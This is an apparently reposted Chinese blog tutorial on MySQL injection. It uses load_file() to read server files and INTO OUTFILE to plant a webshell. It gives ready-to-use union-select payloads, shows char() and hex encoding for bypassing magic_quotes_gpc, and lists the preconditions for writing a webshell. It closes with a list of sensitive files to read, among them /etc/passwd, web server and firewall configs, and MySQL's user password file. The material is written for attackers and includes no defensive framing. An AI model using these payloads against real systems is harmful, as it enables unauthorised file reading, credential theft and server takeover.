在Msql注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件
而load_file函数只有在满足两个条件的情况下才可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小:必须小于max_allowed_packet
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')
select load_file('/etc/hosts')
例如上面的例子是有条件限制的:
1、必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0
如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0
返回错误,应该是管理员对数据库账户降权了
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空,比较难满足的就是权限了。
在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrator
才能访问的文件,
users就不能实现用load_file读取文件了。
在实际的注入中,我们有两个难点需要解决:
1、绝对物理路径。
2、构造有效的畸形语句。
在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道
路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁
我们假设一个程序的SQL语句如下:
select * from article where articleid=$id
(当前条件:magic_quotes_gpc = off
, c:/boot.ini
可读)
此时,我们构造$id为:
-1 union select 1,1,1,1,load_file('c:/boot.ini')
我们的查询语句就变成:
select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
程序就会把c:/boot.ini
内容老老实实显示出来,但是现在magic_quotes_gpc=off
的主机少之又少,怎么才能构造处没有
引号的语句呢?
看过《SQL Injection with MySQL》的朋友肯定知道用char()
函数或者把字符转换成16进制。
注:当前条件为magic_quotes_gpc=on
, c:/boot.ini
可读。
我们构造$id为:
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
"char(99,58,47,98,111,111,116,46,105,110,105)"
就是"c:/boot.ini"
的ASCII代码。
我们的查询语句就变成:
select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:
"c:/boot.ini"
的十六进制是"0x633a2f626f6f742e696e69"
,16进制前需要加0x
所以上面的语句就变成:
select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们可以用into outfile把文件导出
关于mysql into outfile注射,要使用into outfile把代码写到web目录取得webshell首先需要3大先天条件:
1、知道物理路径(into outfule '物理路径'), 这样才能写对目录。
2、能够使用union (需要mysql 3以上的版本)
3、对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)
后天条件需要二个:
1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)
2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x
也就是说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的
mysql
的load_file()
常见的用法:
1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如"<"替换成"空格",返回的是网页。
而无法查看到代码。
3、load_file(char(47))
可以列出FreeBSD, Sunos系统根目录。
4、/etc/httpd/conf/httpd.conf
或者/usr/local/apache/conf/httpd.conf
查看linux apache虚拟主机配置文件。
5、c:/Program Files/Apache Group/Apache/conf/httpd.conf
或c:/apache/conf/httpd.conf
查看windows系统
apache文件。
6、c:/Resin-3.0.14/conf/resin.conf
或c:/Resin/conf/resin.conf
查看jsp开发网站的resin文件配置信息。
7、/usr/local/resin/conf/resin.cof
查看linux系统配置的JSP虚拟主机
8、../themes/darkblue_orange/layout.inc.php
phpmyadmin爆路径
9、c:/windows/system32/inetsrv/MetaBase.xml
查看IIS的虚拟主机配置文件
10、/usr/local/resin-3.0.22/conf/resin.conf
或 /usr/local/resin-pro-3.0.22/conf/resin.conf
针对3.0.22的RESIN配置文件查看
11、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
Apache虚拟主机查看
12、/etc/sysconfig/iptables
查看防火墙策略
13、usr/local/app/php5/lib/php.ini
PHP的设置
14、/etc/my.cnf
Mysql的配置文件
15、c:/mysql/data/mysql/user.MYD
存在MYSQL系统中的用户密码
16、/etc/sysconfig/network-scripts/ifcfg-eth0
查看IP
17、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
虚拟网站设置
版权属于:Xcnte' s Blog(除特别注明外)
本文链接:https://cloud.tencent.com/developer/article/1918345
本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有